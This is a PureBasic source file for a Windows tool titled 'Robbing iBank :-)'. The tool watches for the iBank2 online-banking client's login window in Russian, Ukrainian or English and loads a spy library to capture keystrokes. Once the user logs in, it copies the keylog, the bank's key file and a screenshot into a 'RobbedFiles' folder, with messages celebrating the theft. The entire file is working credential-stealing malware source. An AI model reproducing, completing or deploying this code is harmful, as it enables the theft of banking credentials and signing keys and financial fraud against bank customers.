main.pb

Global idThrIBank = 0

Procedure.l EnumWinIBank(hWnd.l, lParam.l)
  Protected hWndIBank.l = 0
  sTitle.s = Space(100)
  sClass.s = Space(100)
  GetWindowText_(hWnd, sTitle, 100)
  GetClassName_(hWnd, sClass, 100)
  idWndIBank = GetWindowLong_(hWnd, #GWLP_ID)
  If (sClass = "SunAwtFrame") And ((sTitle = "Вход в систему") Or (sTitle = "Вхiд в систему") Or (sTitle = "Вхід у систему") Or (sTitle = "Welcome") Or (sTitle = "Login"))
    idThrIBank = GetWindowThreadProcessId_ (hWnd, #Null)
    ProcedureReturn #False
  EndIf
  ProcedureReturn #True
EndProcedure

Procedure SearchThread(*Val)
  Protected YetShowed.b = #False, pPath, hWndIBank
  Repeat
    If idThrIBank = 0
      EnumWindows_(@EnumWinIBank(), 0)
      If (idThrIBank <> 0)
       MessageBox_(0, "I`m found running iBank2`s login window", "Info", #MB_ICONINFORMATION)
       CallFunction(0, "StartSpy", idThrIBank)
      EndIf
    Else
      iState = CallFunction(0, "GetSpyState")
      If iState = 2
        MessageBox_(0, "Now user have closing iBank2`s login window,"+Chr(10)+Chr(13)+"but it don`t use file key", "Info", #MB_ICONERROR)
        End
      ElseIf iState = 3
        MessageBox_(0, "Now user have closing iBank2`s login window."+Chr(10)+Chr(13)+"Now bank is robbed! :-)", "Info", #MB_ICONEXCLAMATION)
        pPath=CallFunction(0, "GetSpySessionPath")
        PathToSession$=PeekS(pPath, -1, #PB_Unicode)
        CopyFile(PathToSession$+".log", ".\RobbedFiles\keylog.txt")
        CopyFile(PathToSession$+".key", ".\RobbedFiles\bankkey.key")
        CopyFile(PathToSession$+".jpg", ".\RobbedFiles\screenshot.jpg")
        RunProgram("RobbedFiles")
        End
      EndIf
    EndIf
    Sleep_(500)
  ForEver
EndProcedure

OpenLibrary (0, "SPY.DLL")
CatchImage(0, ?Icon)
OpenWindow (0, 0, 0, 40, 60, "Robbing iBank :-)", #PB_Window_ScreenCentered)
HideWindow(0, 1)
AddSysTrayIcon(0, WindowID(0), ImageID(0))
If CreatePopupMenu(0)
  MenuItem(0, "Exit")
EndIf
CreateThread(@SearchThread(), 0)

Repeat
  Event = WaitWindowEvent()
  If Event = #PB_Event_SysTray
    If EventType() = #PB_EventType_LeftClick
      DisplayPopupMenu(0, WindowID(0))
    EndIf
  ElseIf Event = #PB_Event_Menu
    If EventMenu() = 0
      End
    EndIf
  EndIf
Until Event = #PB_Event_CloseWindow


DataSection
  Icon:
  IncludeBinary "icon.ico"
EndDataSection
; IDE Options = PureBasic 4.40 (Windows - x86)
; CursorPosition = 49
; Folding = -
; UseMainFile = main.pb
; CompileSourceDirectory